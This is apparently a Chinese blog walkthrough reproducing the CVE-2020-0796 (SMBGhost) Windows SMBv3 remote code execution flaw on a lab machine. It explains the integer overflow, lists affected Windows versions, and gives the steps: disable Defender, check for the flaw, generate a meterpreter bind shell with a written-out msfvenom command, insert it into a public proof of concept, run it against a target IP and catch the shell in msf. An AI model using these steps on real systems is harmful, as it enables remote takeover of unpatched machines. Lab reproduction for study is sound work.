您的位置:首页 > 其它

CVE-2020-0796_RCE(永恒之黑)漏洞exp复现

2020-07-13 05:04 447 查看

一、漏洞介绍
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响范围:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
二、漏洞复现
环境准备:
kali
受此次漏洞影响的win10系统,并安装带python3.6.x,我这边用的是(复制下方链接可下载)
ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/
关闭defender防火墙
复现步骤:
1、 查看环境情况
Windows版本,按win+r,在弹出窗口中输入

查看版本信息

2、 使用检测工具检测靶机是否存在漏洞,检测工具下载地址
https://github.com/ollypwn/SMBGhost
运行结果如下图,证明靶机存在此漏洞

3、 kali使用msf生成木马,并查看是否生成功
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python>exploit

4、下载poc,将生成的exploit.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。



5、运行poc python3.6 exploit.py -ip xx.xx.xx.xx (如果出现报错physical read primitive failed! 多运行几次)

6、启动msf监听本地端口,获得靶机权限,攻击成功(run失败多运行几次)


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: